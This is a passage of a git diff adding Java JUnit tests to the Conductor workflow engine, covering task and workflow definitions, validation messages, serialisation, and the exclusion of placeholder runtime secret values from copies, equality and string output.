+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; + +public class WorkflowClassifierTest { + + @Test + public void nullDefIsWorkflow() { + assertEquals( + WorkflowClassifier.WORKFLOW, WorkflowClassifier.classifierOf((WorkflowDef) null)); + } + + @Test + public void nullOrEmptyMetadataIsWorkflow() { + assertEquals( + WorkflowClassifier.WORKFLOW, + WorkflowClassifier.classifierOf((Map) null)); + assertEquals(WorkflowClassifier.WORKFLOW, WorkflowClassifier.classifierOf(new HashMap<>())); + } + + @Test + public void untaggedDefIsWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("plain"); + assertEquals(WorkflowClassifier.WORKFLOW, WorkflowClassifier.classifierOf(def)); + } + + @Test + public void agentSdkStampMeansAgent() { + Map metadata = new HashMap<>(); + metadata.put("agent_sdk", "python"); + assertEquals(WorkflowClassifier.AGENT, WorkflowClassifier.classifierOf(metadata)); + } + + @Test + public void agentDefStampMeansAgent() { + Map metadata = new HashMap<>(); + metadata.put("agentDef", Map.of("name", "my-agent")); + assertEquals(WorkflowClassifier.AGENT, WorkflowClassifier.classifierOf(metadata)); + } + + @Test + public void explicitClassifierWins() { + Map metadata = new HashMap<>(); + metadata.put("agent_sdk", "python"); + metadata.put("classifier", "pipeline"); + assertEquals("pipeline", WorkflowClassifier.classifierOf(metadata)); + } + + @Test + public void blankExplicitClassifierIsIgnored() { + Map metadata = new HashMap<>(); + metadata.put("classifier", " "); + assertEquals(WorkflowClassifier.WORKFLOW, WorkflowClassifier.classifierOf(metadata)); + + metadata.put("agent_sdk", "python"); + assertEquals(WorkflowClassifier.AGENT, WorkflowClassifier.classifierOf(metadata)); + } + + @Test + public void nonStringExplicitClassifierIsIgnored() { + Map metadata = new HashMap<>(); + metadata.put("classifier", 42); + assertEquals(WorkflowClassifier.WORKFLOW, WorkflowClassifier.classifierOf(metadata)); + } + + @Test + public void defWithMetadataResolvesThroughDefOverload() { + WorkflowDef def = new WorkflowDef(); + def.setName("agentic"); + Map metadata = new HashMap<>(); + metadata.put("agent_sdk", "java"); + def.setMetadata(metadata); + assertEquals(WorkflowClassifier.AGENT, WorkflowClassifier.classifierOf(def)); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/run/TaskSummaryTest.java b/common/src/test/java/com/netflix/conductor/common/run/TaskSummaryTest.java new file mode 100644 index 0000000..09c7077 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/run/TaskSummaryTest.java @@ -0,0 +1,43 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.run; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.Task; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertNotNull; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class TaskSummaryTest { + + @Autowired private ObjectMapper objectMapper; + + @Test + public void testJsonSerializing() throws Exception { + Task task = new Task(); + TaskSummary taskSummary = new TaskSummary(task); + + String json = objectMapper.writeValueAsString(taskSummary); + TaskSummary read = objectMapper.readValue(json, TaskSummary.class); + assertNotNull(read); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/tasks/TaskDefTest.java b/common/src/test/java/com/netflix/conductor/common/tasks/TaskDefTest.java new file mode 100644 index 0000000..fb29c27 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/tasks/TaskDefTest.java @@ -0,0 +1,158 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.tasks; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; + +import jakarta.validation.ConstraintViolation; +import jakarta.validation.Validation; +import jakarta.validation.Validator; +import jakarta.validation.ValidatorFactory; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assert.assertTrue; + +public class TaskDefTest { + + private Validator validator; + + @Before + public void setup() { + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + this.validator = factory.getValidator(); + } + + @Test + public void test() { + String name = "test1"; + String description = "desc"; + int retryCount = 10; + int timeout = 100; + TaskDef def = new TaskDef(name, description, retryCount, timeout); + assertEquals(36_00, def.getResponseTimeoutSeconds()); + assertEquals(name, def.getName()); + assertEquals(description, def.getDescription()); + assertEquals(retryCount, def.getRetryCount()); + assertEquals(timeout, def.getTimeoutSeconds()); + } + + @Test + public void testTaskDef() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("task1"); + taskDef.setRetryCount(-1); + taskDef.setTimeoutSeconds(1000); + taskDef.setResponseTimeoutSeconds(1001); + + Set> result = validator.validate(taskDef); + assertEquals(3, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "TaskDef: task1 responseTimeoutSeconds: 1001 must be less than timeoutSeconds: 1000")); + assertTrue(validationErrors.contains("TaskDef retryCount: 0 must be >= 0")); + assertTrue(validationErrors.contains("ownerEmail cannot be empty")); + } + + @Test + public void testTaskDefTotalTimeOutSeconds() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test-task"); + taskDef.setRetryCount(1); + taskDef.setTimeoutSeconds(1000); + taskDef.setTotalTimeoutSeconds(900); + taskDef.setResponseTimeoutSeconds(1); + taskDef.setOwnerEmail("blah@gmail.com"); + + Set> result = validator.validate(taskDef); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.toString(), + validationErrors.contains( + "TaskDef: test-task timeoutSeconds: 1000 must be less than or equal to totalTimeoutSeconds: 900")); + } + + @Test + public void testTaskDefInvalidEmail() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test-task"); + taskDef.setRetryCount(1); + taskDef.setTimeoutSeconds(1000); + taskDef.setResponseTimeoutSeconds(1); + + Set> result = validator.validate(taskDef); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.toString(), + validationErrors.contains("ownerEmail cannot be empty")); + } + + @Test + public void testTaskDefValidEmail() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test-task"); + taskDef.setRetryCount(1); + taskDef.setTimeoutSeconds(1000); + taskDef.setResponseTimeoutSeconds(1); + taskDef.setOwnerEmail("owner@test.com"); + + Set> result = validator.validate(taskDef); + assertEquals(0, result.size()); + } + + @Test + public void testRuntimeMetadataGetterSetterRoundTrip() { + TaskDef taskDef = new TaskDef(); + assertTrue(taskDef.getRuntimeMetadata().isEmpty()); + + List runtimeMetadata = List.of("OPENAI_API_KEY", "REGION"); + taskDef.setRuntimeMetadata(runtimeMetadata); + + assertEquals(runtimeMetadata, taskDef.getRuntimeMetadata()); + } + + @Test + public void testTaskDefsDifferingOnlyByRuntimeMetadataAreNotEqual() { + TaskDef taskDef1 = new TaskDef("task1"); + taskDef1.setRuntimeMetadata(List.of("OPENAI_API_KEY")); + + TaskDef taskDef2 = new TaskDef("task1"); + taskDef2.setRuntimeMetadata(List.of("REGION")); + + assertNotEquals(taskDef1, taskDef2); + assertNotEquals(taskDef1.hashCode(), taskDef2.hashCode()); + + taskDef2.setRuntimeMetadata(List.of("OPENAI_API_KEY")); + assertEquals(taskDef1, taskDef2); + assertEquals(taskDef1.hashCode(), taskDef2.hashCode()); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/tasks/TaskResultTest.java b/common/src/test/java/com/netflix/conductor/common/tasks/TaskResultTest.java new file mode 100644 index 0000000..5488820 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/tasks/TaskResultTest.java @@ -0,0 +1,85 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.tasks; + +import java.util.HashMap; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; + +import static org.junit.Assert.assertEquals; + +public class TaskResultTest { + + private Task task; + private TaskResult taskResult; + + @Before + public void setUp() { + task = new Task(); + task.setWorkflowInstanceId("workflow-id"); + task.setTaskId("task-id"); + task.setReasonForIncompletion("reason"); + task.setCallbackAfterSeconds(10); + task.setWorkerId("worker-id"); + task.setOutputData(new HashMap<>()); + task.setExternalOutputPayloadStoragePath("externalOutput"); + } + + @Test + public void testCanceledTask() { + task.setStatus(Task.Status.CANCELED); + taskResult = new TaskResult(task); + validateTaskResult(); + assertEquals(TaskResult.Status.FAILED, taskResult.getStatus()); + } + + @Test + public void testCompletedWithErrorsTask() { + task.setStatus(Task.Status.COMPLETED_WITH_ERRORS); + taskResult = new TaskResult(task); + validateTaskResult(); + assertEquals(TaskResult.Status.FAILED, taskResult.getStatus()); + } + + @Test + public void testScheduledTask() { + task.setStatus(Task.Status.SCHEDULED); + taskResult = new TaskResult(task); + validateTaskResult(); + assertEquals(TaskResult.Status.IN_PROGRESS, taskResult.getStatus()); + } + + @Test + public void testCompltetedTask() { + task.setStatus(Task.Status.COMPLETED); + taskResult = new TaskResult(task); + validateTaskResult(); + assertEquals(TaskResult.Status.COMPLETED, taskResult.getStatus()); + } + + private void validateTaskResult() { + assertEquals(task.getWorkflowInstanceId(), taskResult.getWorkflowInstanceId()); + assertEquals(task.getTaskId(), taskResult.getTaskId()); + assertEquals(task.getReasonForIncompletion(), taskResult.getReasonForIncompletion()); + assertEquals(task.getCallbackAfterSeconds(), taskResult.getCallbackAfterSeconds()); + assertEquals(task.getWorkerId(), taskResult.getWorkerId()); + assertEquals(task.getOutputData(), taskResult.getOutputData()); + assertEquals( + task.getExternalOutputPayloadStoragePath(), + taskResult.getExternalOutputPayloadStoragePath()); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/tasks/TaskTest.java b/common/src/test/java/com/netflix/conductor/common/tasks/TaskTest.java new file mode 100644 index 0000000..3fbdd1b --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/tasks/TaskTest.java @@ -0,0 +1,289 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.tasks; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; + +import org.junit.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.ExecutionMetadata; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.protobuf.Any; + +import static org.junit.Assert.*; + +public class TaskTest { + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + @Test + public void test() { + + Task task = new Task(); + task.setStatus(Status.FAILED); + assertEquals(Status.FAILED, task.getStatus()); + + Set resultStatues = + Arrays.stream(TaskResult.Status.values()) + .map(Enum::name) + .collect(Collectors.toSet()); + + for (Status status : Status.values()) { + if (resultStatues.contains(status.name())) { + TaskResult.Status trStatus = TaskResult.Status.valueOf(status.name()); + assertEquals(status.name(), trStatus.name()); + + task = new Task(); + task.setStatus(status); + assertEquals(status, task.getStatus()); + } + } + } + + @Test + public void testTaskDefinitionIfAvailable() { + Task task = new Task(); + task.setStatus(Status.FAILED); + assertEquals(Status.FAILED, task.getStatus()); + + assertNull(task.getWorkflowTask()); + assertFalse(task.getTaskDefinition().isPresent()); + + WorkflowTask workflowTask = new WorkflowTask(); + TaskDef taskDefinition = new TaskDef(); + workflowTask.setTaskDefinition(taskDefinition); + task.setWorkflowTask(workflowTask); + + assertTrue(task.getTaskDefinition().isPresent()); + assertEquals(taskDefinition, task.getTaskDefinition().get()); + } + + @Test + public void testTaskQueueWaitTime() { + Task task = new Task(); + + long currentTimeMillis = System.currentTimeMillis(); + task.setScheduledTime(currentTimeMillis - 30_000); // 30 seconds ago + task.setStartTime(currentTimeMillis - 25_000); + + long queueWaitTime = task.getQueueWaitTime(); + assertEquals(5000L, queueWaitTime); + + task.setUpdateTime(currentTimeMillis - 20_000); + task.setCallbackAfterSeconds(10); + queueWaitTime = task.getQueueWaitTime(); + assertTrue(queueWaitTime > 0); + } + + @Test + public void testDeepCopyTask() { + final Task task = new Task(); + // In order to avoid forgetting putting inside the copy method the newly added fields check + // the number of declared fields. + // NOTE: `runtimeMetadata` (wire-only resolved secret values, injected at poll time) is + // intentionally NOT propagated by copy()/deepCopy() - see + // testRuntimeMetadataExcludedFromCopy. + final int expectedTaskFieldsNumber = 44; + final int declaredFieldsNumber = task.getClass().getDeclaredFields().length; + + final ExecutionMetadata executionMetadata = new ExecutionMetadata(); + executionMetadata.setServerSendTime(1000L); + executionMetadata.setClientReceiveTime(2000L); + executionMetadata.setExecutionStartTime(3000L); + executionMetadata.setExecutionEndTime(4000L); + executionMetadata.setClientSendTime(5000L); + executionMetadata.setPollNetworkLatency(6000L); + executionMetadata.setUpdateNetworkLatency(7000L); + executionMetadata.setAdditionalContextMap(new HashMap<>()); + + assertEquals(expectedTaskFieldsNumber, declaredFieldsNumber); + + task.setCallbackAfterSeconds(111L); + task.setCallbackFromWorker(false); + task.setCorrelationId("correlation_id"); + task.setInputData(new HashMap<>()); + task.setOutputData(new HashMap<>()); + task.setReferenceTaskName("ref_task_name"); + task.setStartDelayInSeconds(1); + task.setTaskDefName("task_def_name"); + task.setTaskType("dummy_task_type"); + task.setWorkflowInstanceId("workflowInstanceId"); + task.setWorkflowType("workflowType"); + task.setResponseTimeoutSeconds(11L); + task.setStatus(Status.COMPLETED); + task.setRetryCount(0); + task.setPollCount(0); + task.setTaskId("taskId"); + task.setWorkflowTask(new WorkflowTask()); + task.setDomain("domain"); + task.setInputMessage(Any.getDefaultInstance()); + task.setOutputMessage(Any.getDefaultInstance()); + task.setRateLimitPerFrequency(11); + task.setRateLimitFrequencyInSeconds(11); + task.setExternalInputPayloadStoragePath("externalInputPayloadStoragePath"); + task.setExternalOutputPayloadStoragePath("externalOutputPayloadStoragePath"); + task.setWorkflowPriority(0); + task.setIteration(1); + task.setExecutionNameSpace("name_space"); + task.setIsolationGroupId("groupId"); + task.setStartTime(12L); + task.setEndTime(20L); + task.setScheduledTime(7L); + task.setRetried(false); + task.setReasonForIncompletion(""); + task.setWorkerId(""); + task.setSubWorkflowId(""); + task.setSubworkflowChanged(false); + task.setExecutionMetadata(executionMetadata); + + final Task copy = task.deepCopy(); + assertEquals(task, copy); + + // Verify execution metadata is copied + assertNotNull(copy.getExecutionMetadata()); + assertEquals(Long.valueOf(1000L), copy.getOrCreateExecutionMetadata().getServerSendTime()); + assertEquals( + Long.valueOf(2000L), copy.getOrCreateExecutionMetadata().getClientReceiveTime()); + assertEquals( + Long.valueOf(3000L), copy.getOrCreateExecutionMetadata().getExecutionStartTime()); + assertEquals( + Long.valueOf(4000L), copy.getOrCreateExecutionMetadata().getExecutionEndTime()); + assertEquals(Long.valueOf(5000L), copy.getOrCreateExecutionMetadata().getClientSendTime()); + assertEquals( + Long.valueOf(6000L), copy.getOrCreateExecutionMetadata().getPollNetworkLatency()); + assertEquals( + Long.valueOf(7000L), copy.getOrCreateExecutionMetadata().getUpdateNetworkLatency()); + } + + @Test + public void testRuntimeMetadataGetterSetterRoundTrip() { + Task task = new Task(); + assertNotNull(task.getRuntimeMetadata()); + assertTrue(task.getRuntimeMetadata().isEmpty()); + + Map runtimeMetadata = new HashMap<>(); + runtimeMetadata.put("OPENAI_API_KEY", "sk-secret-value"); + task.setRuntimeMetadata(runtimeMetadata); + + assertEquals(runtimeMetadata, task.getRuntimeMetadata()); + } + + @Test + public void testSetRuntimeMetadataNullGuard() { + Task task = new Task(); + task.setRuntimeMetadata(null); + assertNotNull(task.getRuntimeMetadata()); + assertTrue(task.getRuntimeMetadata().isEmpty()); + } + + @Test + public void testRuntimeMetadataSerializedOnlyWhenNonEmpty() throws Exception { + Task task = new Task(); + task.setTaskId("task-1"); + Map runtimeMetadata = new HashMap<>(); + runtimeMetadata.put("OPENAI_API_KEY", "sk-secret-value"); + task.setRuntimeMetadata(runtimeMetadata); + + String json = objectMapper.writeValueAsString(task); + assertTrue(json.contains("\"runtimeMetadata\"")); + assertTrue(json.contains("OPENAI_API_KEY")); + assertTrue(json.contains("sk-secret-value")); + + Task emptyRuntimeMetadataTask = new Task(); + emptyRuntimeMetadataTask.setTaskId("task-2"); + String emptyJson = objectMapper.writeValueAsString(emptyRuntimeMetadataTask); + assertFalse(emptyJson.contains("\"runtimeMetadata\"")); + } + + @Test + public void testRuntimeMetadataExcludedFromEquals() { + Task task1 = new Task(); + task1.setTaskId("task-1"); + Map runtimeMetadata1 = new HashMap<>(); + runtimeMetadata1.put("OPENAI_API_KEY", "sk-secret-value-1"); + task1.setRuntimeMetadata(runtimeMetadata1); + + Task task2 = new Task(); + task2.setTaskId("task-1"); + Map runtimeMetadata2 = new HashMap<>(); + runtimeMetadata2.put("OPENAI_API_KEY", "sk-secret-value-2"); + task2.setRuntimeMetadata(runtimeMetadata2); + + assertEquals(task1, task2); + assertEquals(task1.hashCode(), task2.hashCode()); + } + + @Test + public void testRuntimeMetadataExcludedFromToString() { + Task task = new Task(); + task.setTaskId("task-1"); + Map runtimeMetadata = new HashMap<>(); + runtimeMetadata.put("OPENAI_API_KEY", "sk-super-secret-value"); + task.setRuntimeMetadata(runtimeMetadata); + + assertFalse(task.toString().contains("sk-super-secret-value")); + } + + @Test + public void testExecutionMetadataHelperGettersNotSerialized() throws Exception { + Task task = new Task(); + task.setTaskId("task-1"); + + ExecutionMetadata executionMetadata = new ExecutionMetadata(); + executionMetadata.setServerSendTime(1000L); + executionMetadata.setClientReceiveTime(2000L); + task.setExecutionMetadata(executionMetadata); + + String json = objectMapper.writeValueAsString(task); + + // The convenience/helper getters must NOT leak as JSON properties. + assertFalse(json.contains("orCreateExecutionMetadata")); + assertFalse(json.contains("executionMetadataIfHasData")); + + // The real executionMetadata property is still serialized and round-trips. + assertTrue(json.contains("\"executionMetadata\"")); + assertTrue(json.contains("\"serverSendTime\"")); + + Task deserialized = objectMapper.readValue(json, Task.class); + assertNotNull(deserialized.getExecutionMetadata()); + assertEquals(Long.valueOf(1000L), deserialized.getExecutionMetadata().getServerSendTime()); + assertEquals( + Long.valueOf(2000L), deserialized.getExecutionMetadata().getClientReceiveTime()); + } + + @Test + public void testRuntimeMetadataExcludedFromCopy() { + Task task = new Task(); + task.setTaskId("task-1"); + Map runtimeMetadata = new HashMap<>(); + runtimeMetadata.put("OPENAI_API_KEY", "sk-secret-value"); + task.setRuntimeMetadata(runtimeMetadata); + + Task copy = task.copy(); + assertTrue(copy.getRuntimeMetadata().isEmpty()); + + Task deepCopy = task.deepCopy(); + assertTrue(deepCopy.getRuntimeMetadata().isEmpty()); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/utils/ConstraintParamUtilTest.java b/common/src/test/java/com/netflix/conductor/common/utils/ConstraintParamUtilTest.java new file mode 100644 index 0000000..32e59d9 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/utils/ConstraintParamUtilTest.java @@ -0,0 +1,351 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.utils; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import static org.junit.Assert.assertEquals; + +public class ConstraintParamUtilTest { + + @Before + public void before() { + System.setProperty("NETFLIX_STACK", "test"); + System.setProperty("NETFLIX_ENVIRONMENT", "test"); + System.setProperty("TEST_ENV", "test"); + } + + private WorkflowDef constructWorkflowDef() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + return workflowDef; + } + + @Test + public void testExtractParamPathComponents() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID}"); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } + + @Test + public void testExtractParamPathComponentsWithValidJsonPath() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + WorkflowTask workflowTask_2 = new WorkflowTask(); + workflowTask_2.setName("task_2"); + workflowTask_2.setTaskReferenceName("task_2"); + workflowTask_2.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${task_1.output.[\"task ref\"]}"); + + workflowTask_2.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_2", workflowDef); + assertEquals(0, results.size()); + } + + @Test + public void testExtractParamPathComponentsWithInValidJsonPath() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + WorkflowTask workflowTask_2 = new WorkflowTask(); + workflowTask_2.setName("task_2"); + workflowTask_2.setTaskReferenceName("task_2"); + workflowTask_2.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${task_1.output [\"task ref\"]}"); + + workflowTask_2.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_2", workflowDef); + assertEquals(1, results.size()); + } + + @Test + public void testExtractParamPathComponentsWithMissingEnvVariable() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID} ${NETFLIX_STACK}"); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } + + @Test + public void testExtractParamPathComponentsWithValidEnvVariable() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID} ${workflow.input.status}"); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } + + @Test + public void testExtractParamPathComponentsWithValidMap() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID} ${workflow.input.status}"); + Map envInputParam = new HashMap<>(); + envInputParam.put("packageId", "${workflow.input.packageId}"); + envInputParam.put("taskId", "${CPEWF_TASK_ID}"); + envInputParam.put("NETFLIX_STACK", "${NETFLIX_STACK}"); + envInputParam.put("NETFLIX_ENVIRONMENT", "${NETFLIX_ENVIRONMENT}"); + envInputParam.put("TEST_ENV", "${TEST_ENV}"); + + inputParam.put("env", envInputParam); + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } + + @Test + public void testExtractParamPathComponentsWithInvalidEnv() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID} ${workflow.input.status}"); + Map envInputParam = new HashMap<>(); + envInputParam.put("packageId", "${workflow.input.packageId}"); + envInputParam.put("taskId", "${CPEWF_TASK_ID}"); + envInputParam.put("TEST_ENV1", "${TEST_ENV1}"); + + inputParam.put("env", envInputParam); + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 1); + } + + @Test + public void testExtractParamPathComponentsWithInputParamEmpty() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", ""); + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } + + @Test + public void testExtractParamPathComponentsWithListInputParamWithEmptyString() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", new String[] {""}); + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } + + @Test + public void testExtractParamPathComponentsWithInputFieldWithSpace() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask 